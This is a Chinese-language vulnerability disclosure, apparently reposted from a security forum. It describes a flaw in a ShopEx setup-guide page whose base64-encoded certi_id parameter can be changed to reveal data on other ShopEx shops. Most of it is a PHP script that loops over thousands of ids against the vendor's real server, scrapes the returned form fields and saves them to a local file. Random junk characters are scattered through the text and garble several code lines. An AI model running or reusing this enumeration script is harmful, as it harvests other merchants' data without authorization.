ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
详细说明：
1 z% x8 o4 ~) ?问题出现在shopex 网店使用向导页面
8 S5 j7 v$ w+ W& I1 \4 _% x


http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
0 ]/ X2 r  \9 v1 u% r

6 u+ V1 _) S, T5 S7 g0 v  k
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
' e3 B, c. b6 M: R0 |% u  Z
9 F5 @! x- X6 J( @" @/ x3 Y
# E" t* D2 c. E( [" K
' v, c1 h& n% Z* Z& X: P我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
) J7 k0 t1 R/ F: `" }' }


9 X$ A. W# ?6 T7 q8 X- f* H5 Y<?php
! P- Q  S$ k$ G) K" ?. V% t
                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);
5 U. t6 x8 h4 U) T! R5 P& n. [
                }

                function ShowshopExD($cid) {
3 m" S2 ~4 K, t! G0 W
' [' P: L0 a2 D' s/ _7 a6 [1 r                $url='http://guide.ecos.shopex.cn/step2.php';
& F- W8 f; Y% V9 V4 ^
" L, v4 ^/ O) Q0 U' M                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
- x* H  B0 q- o+ l1 x% X% C! ]
0 l2 ]0 D& W+ C; t. @        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);
% a  V. `6 |* L$ b  ]
; l; d& _( D! R) M1 [5 B        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);
5 ~4 z& @! p1 J0 Y9 Y9 ?  g
) [* \7 W6 D+ _3 U        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

7 L) _! X7 d' ^        if(strpos($result,$refer))
: Q/ f8 D3 J* s& u
1 b2 E$ p* {$ o9 I- g1 A  j3 L        {

                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
4 Q8 T3 F" L  E$ _
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {

9 ~' s6 y. ^# v0 N1 ]                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

, s- |: s2 y& M9 a                        echo $res[1][0].':'.$res[3][0]."\r\n";
2 |/ L, `7 `# E# j6 S
! L0 }3 [3 G1 b# P0 f5 O                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));

                }

  E0 ^0 _0 L# Y( L" i" u8 o9 J* T                echo '--------------------------------'."\r\n";
, b9 x# [9 x; n  P7 y- A5 F$ o
                fclose($fp);
0 ^2 Y+ Y* A9 L, O! o
/ G  ?- a4 w( s: {) I        }

        flush();

% _( I" Z" u5 s  M# I        curl_close($ch);
8 \* C; }3 b0 J
; |9 y( u2 D  X7 i0 F% ~                }
2 e  H: {& w8 Q( a5 Y# ?
?>
漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式
& v7 J- h3 E' i' F: N! {